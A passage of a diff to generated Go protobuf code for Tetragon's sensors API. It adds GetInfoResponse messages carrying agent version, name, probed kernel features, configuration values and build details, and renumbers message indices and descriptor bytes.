GetVersionResponse{} + mi := &file_tetragon_sensors_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } -func (x *GetStackTraceTreeResponse) String() string { +func (x *GetVersionResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*GetStackTraceTreeResponse) ProtoMessage() {} +func (*GetVersionResponse) ProtoMessage() {} -func (x *GetStackTraceTreeResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[23] +func (x *GetVersionResponse) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[25] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1374,39 +1540,39 @@ func (x *GetStackTraceTreeResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use GetStackTraceTreeResponse.ProtoReflect.Descriptor instead. -func (*GetStackTraceTreeResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{23} +// Deprecated: Use GetVersionResponse.ProtoReflect.Descriptor instead. +func (*GetVersionResponse) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{25} } -func (x *GetStackTraceTreeResponse) GetRoot() *StackTraceNode { +func (x *GetVersionResponse) GetVersion() string { if x != nil { - return x.Root + return x.Version } - return nil + return "" } -type GetVersionRequest struct { +type GetInfoRequest struct { state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } -func (x *GetVersionRequest) Reset() { - *x = GetVersionRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[24] +func (x *GetInfoRequest) Reset() { + *x = GetInfoRequest{} + mi := &file_tetragon_sensors_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } -func (x *GetVersionRequest) String() string { +func (x *GetInfoRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*GetVersionRequest) ProtoMessage() {} +func (*GetInfoRequest) ProtoMessage() {} -func (x *GetVersionRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[24] +func (x *GetInfoRequest) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[26] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1417,33 +1583,42 @@ func (x *GetVersionRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use GetVersionRequest.ProtoReflect.Descriptor instead. -func (*GetVersionRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{24} +// Deprecated: Use GetInfoRequest.ProtoReflect.Descriptor instead. +func (*GetInfoRequest) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{26} } -type GetVersionResponse struct { - state protoimpl.MessageState `protogen:"open.v1"` - Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` +type GetInfoResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + // version is the version of the agent tetragon (same as GetVersionResponse()) + Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` + // name is the name of the agent + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + // probes is a list of kernel features that have been probed by the agent + Probes []*GetInfoResponse_Probe `protobuf:"bytes,3,rep,name=probes,proto3" json:"probes,omitempty"` + // conf is the agent configuration + Conf []*GetInfoResponse_ConfVal `protobuf:"bytes,4,rep,name=conf,proto3" json:"conf,omitempty"` + // build is the agent build information + Build *GetInfoResponse_BuildInfo `protobuf:"bytes,5,opt,name=build,proto3" json:"build,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } -func (x *GetVersionResponse) Reset() { - *x = GetVersionResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[25] +func (x *GetInfoResponse) Reset() { + *x = GetInfoResponse{} + mi := &file_tetragon_sensors_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } -func (x *GetVersionResponse) String() string { +func (x *GetInfoResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*GetVersionResponse) ProtoMessage() {} +func (*GetInfoResponse) ProtoMessage() {} -func (x *GetVersionResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[25] +func (x *GetInfoResponse) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[27] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1454,18 +1629,46 @@ func (x *GetVersionResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use GetVersionResponse.ProtoReflect.Descriptor instead. -func (*GetVersionResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{25} +// Deprecated: Use GetInfoResponse.ProtoReflect.Descriptor instead. +func (*GetInfoResponse) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{27} } -func (x *GetVersionResponse) GetVersion() string { +func (x *GetInfoResponse) GetVersion() string { if x != nil { return x.Version } return "" } +func (x *GetInfoResponse) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *GetInfoResponse) GetProbes() []*GetInfoResponse_Probe { + if x != nil { + return x.Probes + } + return nil +} + +func (x *GetInfoResponse) GetConf() []*GetInfoResponse_ConfVal { + if x != nil { + return x.Conf + } + return nil +} + +func (x *GetInfoResponse) GetBuild() *GetInfoResponse_BuildInfo { + if x != nil { + return x.Build + } + return nil +} + type DumpProcessCacheReqArgs struct { state protoimpl.MessageState `protogen:"open.v1"` SkipZeroRefcnt bool `protobuf:"varint,1,opt,name=skip_zero_refcnt,json=skipZeroRefcnt,proto3" json:"skip_zero_refcnt,omitempty"` @@ -1476,7 +1679,7 @@ type DumpProcessCacheReqArgs struct { func (x *DumpProcessCacheReqArgs) Reset() { *x = DumpProcessCacheReqArgs{} - mi := &file_tetragon_sensors_proto_msgTypes[26] + mi := &file_tetragon_sensors_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1488,7 +1691,7 @@ func (x *DumpProcessCacheReqArgs) String() string { func (*DumpProcessCacheReqArgs) ProtoMessage() {} func (x *DumpProcessCacheReqArgs) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[26] + mi := &file_tetragon_sensors_proto_msgTypes[28] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1501,7 +1704,7 @@ func (x *DumpProcessCacheReqArgs) ProtoReflect() protoreflect.Message { // Deprecated: Use DumpProcessCacheReqArgs.ProtoReflect.Descriptor instead. func (*DumpProcessCacheReqArgs) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{26} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{28} } func (x *DumpProcessCacheReqArgs) GetSkipZeroRefcnt() bool { @@ -1538,7 +1741,7 @@ type ProcessInternal struct { func (x *ProcessInternal) Reset() { *x = ProcessInternal{} - mi := &file_tetragon_sensors_proto_msgTypes[27] + mi := &file_tetragon_sensors_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1550,7 +1753,7 @@ func (x *ProcessInternal) String() string { func (*ProcessInternal) ProtoMessage() {} func (x *ProcessInternal) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[27] + mi := &file_tetragon_sensors_proto_msgTypes[29] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1563,7 +1766,7 @@ func (x *ProcessInternal) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessInternal.ProtoReflect.Descriptor instead. func (*ProcessInternal) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{27} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{29} } func (x *ProcessInternal) GetProcess() *Process { @@ -1603,7 +1806,7 @@ type DumpProcessCacheResArgs struct { func (x *DumpProcessCacheResArgs) Reset() { *x = DumpProcessCacheResArgs{} - mi := &file_tetragon_sensors_proto_msgTypes[28] + mi := &file_tetragon_sensors_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1615,7 +1818,7 @@ func (x *DumpProcessCacheResArgs) String() string { func (*DumpProcessCacheResArgs) ProtoMessage() {} func (x *DumpProcessCacheResArgs) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[28] + mi := &file_tetragon_sensors_proto_msgTypes[30] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1628,7 +1831,7 @@ func (x *DumpProcessCacheResArgs) ProtoReflect() protoreflect.Message { // Deprecated: Use DumpProcessCacheResArgs.ProtoReflect.Descriptor instead. func (*DumpProcessCacheResArgs) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{28} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{30} } func (x *DumpProcessCacheResArgs) GetProcesses() []*ProcessInternal { @@ -1651,7 +1854,7 @@ type GetDebugRequest struct { func (x *GetDebugRequest) Reset() { *x = GetDebugRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[29] + mi := &file_tetragon_sensors_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1663,7 +1866,7 @@ func (x *GetDebugRequest) String() string { func (*GetDebugRequest) ProtoMessage() {} func (x *GetDebugRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[29] + mi := &file_tetragon_sensors_proto_msgTypes[31] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1676,7 +1879,7 @@ func (x *GetDebugRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use GetDebugRequest.ProtoReflect.Descriptor instead. func (*GetDebugRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{29} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{31} } func (x *GetDebugRequest) GetFlag() ConfigFlag { @@ -1726,7 +1929,7 @@ type GetDebugResponse struct { func (x *GetDebugResponse) Reset() { *x = GetDebugResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[30] + mi := &file_tetragon_sensors_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1738,7 +1941,7 @@ func (x *GetDebugResponse) String() string { func (*GetDebugResponse) ProtoMessage() {} func (x *GetDebugResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[30] + mi := &file_tetragon_sensors_proto_msgTypes[32] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1751,7 +1954,7 @@ func (x *GetDebugResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use GetDebugResponse.ProtoReflect.Descriptor instead. func (*GetDebugResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{30} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{32} } func (x *GetDebugResponse) GetFlag() ConfigFlag { @@ -1815,7 +2018,7 @@ type SetDebugRequest struct { func (x *SetDebugRequest) Reset() { *x = SetDebugRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[31] + mi := &file_tetragon_sensors_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1827,7 +2030,7 @@ func (x *SetDebugRequest) String() string { func (*SetDebugRequest) ProtoMessage() {} func (x *SetDebugRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[31] + mi := &file_tetragon_sensors_proto_msgTypes[33] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1840,7 +2043,7 @@ func (x *SetDebugRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetDebugRequest.ProtoReflect.Descriptor instead. func (*SetDebugRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{31} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{33} } func (x *SetDebugRequest) GetFlag() ConfigFlag { @@ -1889,7 +2092,7 @@ type SetDebugResponse struct { func (x *SetDebugResponse) Reset() { *x = SetDebugResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[32] + mi := &file_tetragon_sensors_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1901,7 +2104,7 @@ func (x *SetDebugResponse) String() string { func (*SetDebugResponse) ProtoMessage() {} func (x *SetDebugResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[32] + mi := &file_tetragon_sensors_proto_msgTypes[34] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1914,7 +2117,7 @@ func (x *SetDebugResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use SetDebugResponse.ProtoReflect.Descriptor instead. func (*SetDebugResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{32} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{34} } func (x *SetDebugResponse) GetFlag() ConfigFlag { @@ -1950,124 +2153,353 @@ type SetDebugResponse_Level struct { func (*SetDebugResponse_Level) isSetDebugResponse_Arg() {} +type GetInfoResponse_Probe struct { + state protoimpl.MessageState `protogen:"open.v1"` + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Enabled *wrapperspb.BoolValue `protobuf:"bytes,2,opt,name=Enabled,proto3" json:"Enabled,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *GetInfoResponse_Probe) Reset() { + *x = GetInfoResponse_Probe{} + mi := &file_tetragon_sensors_proto_msgTypes[35] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *GetInfoResponse_Probe) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*GetInfoResponse_Probe) ProtoMessage() {} + +func (x *GetInfoResponse_Probe) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[35] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use GetInfoResponse_Probe.ProtoReflect.Descriptor instead. +func (*GetInfoResponse_Probe) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{27, 0} +} + +func (x *GetInfoResponse_Probe) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *GetInfoResponse_Probe) GetEnabled() *wrapperspb.BoolValue { + if x != nil { + return x.Enabled + } + return nil +} + +type GetInfoResponse_ConfVal struct { + state protoimpl.MessageState `protogen:"open.v1"` + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value *anypb.Any `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *GetInfoResponse_ConfVal) Reset() { + *x = GetInfoResponse_ConfVal{} + mi := &file_tetragon_sensors_proto_msgTypes[36] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *GetInfoResponse_ConfVal) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*GetInfoResponse_ConfVal) ProtoMessage() {} + +func (x *GetInfoResponse_ConfVal) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[36] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use GetInfoResponse_ConfVal.ProtoReflect.Descriptor instead. +func (*GetInfoResponse_ConfVal) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{27, 1} +} + +func (x *GetInfoResponse_ConfVal) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *GetInfoResponse_ConfVal) GetValue() *anypb.Any { + if x != nil { + return x.Value + } + return nil +} + +type GetInfoResponse_BuildInfo struct { + state protoimpl.MessageState `protogen:"open.v1"` + GoVersion string `protobuf:"bytes,1,opt,name=go_version,json=goVersion,proto3" json:"go_version,omitempty"` + Commit string `protobuf:"bytes,2,opt,name=commit,proto3" json:"commit,omitempty"` + Time string `protobuf:"bytes,3,opt,name=time,proto3" json:"time,omitempty"` + Modified string `protobuf:"bytes,4,opt,name=modified,proto3" json:"modified,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *GetInfoResponse_BuildInfo) Reset() { + *x = GetInfoResponse_BuildInfo{} + mi := &file_tetragon_sensors_proto_msgTypes[37] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *GetInfoResponse_BuildInfo) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*GetInfoResponse_BuildInfo) ProtoMessage() {} + +func (x *GetInfoResponse_BuildInfo) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[37] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use GetInfoResponse_BuildInfo.ProtoReflect.Descriptor instead. +func (*GetInfoResponse_BuildInfo) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{27, 2} +} + +func (x *GetInfoResponse_BuildInfo) GetGoVersion() string { + if x != nil { + return x.GoVersion + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetCommit() string { + if x != nil { + return x.Commit + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetTime() string { + if x != nil { + return x.Time + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetModified() string { + if x != nil { + return x.Modified + } + return "" +} + var File_tetragon_sensors_proto protoreflect.FileDescriptor var file_tetragon_sensors_proto_rawDesc = []byte{ 0x0a, 0x16, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x1a, 0x1e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x73, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x1a, 0x15, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x14, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2f, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, - 0x17, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x14, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, - 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x5c, - 0x0a, 0x0c, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x47, 0x0a, 0x13, - 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x30, 0x0a, 0x07, 0x73, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x73, 0x65, - 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x22, 0x1c, 0x0a, 0x1a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, - 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0xeb, 0x02, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, - 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x69, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x69, 0x6e, 0x66, - 0x6f, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x05, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x73, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x1c, 0x0a, 0x07, 0x65, - 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x42, 0x02, 0x18, 0x01, - 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1b, 0x0a, 0x09, 0x66, 0x69, 0x6c, - 0x74, 0x65, 0x72, 0x5f, 0x69, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x66, 0x69, - 0x6c, 0x74, 0x65, 0x72, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x32, 0x0a, 0x05, - 0x73, 0x74, 0x61, 0x74, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, - 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x2e, 0x0a, 0x13, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x5f, 0x62, 0x79, 0x74, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x11, 0x6b, - 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x42, 0x79, 0x74, 0x65, 0x73, - 0x12, 0x2f, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, - 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, - 0x65, 0x22, 0x58, 0x0a, 0x1b, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, - 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x39, 0x0a, 0x08, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x72, - 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x53, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x52, 0x08, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x41, - 0x64, 0x64, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x79, 0x61, 0x6d, 0x6c, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x79, 0x61, 0x6d, 0x6c, 0x22, 0x1a, 0x0a, 0x18, 0x41, 0x64, - 0x64, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4e, 0x0a, 0x1a, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x6f, 0x6e, 0x1a, 0x19, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2f, 0x61, 0x6e, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x77, + 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x74, + 0x65, 0x74, 0x72, 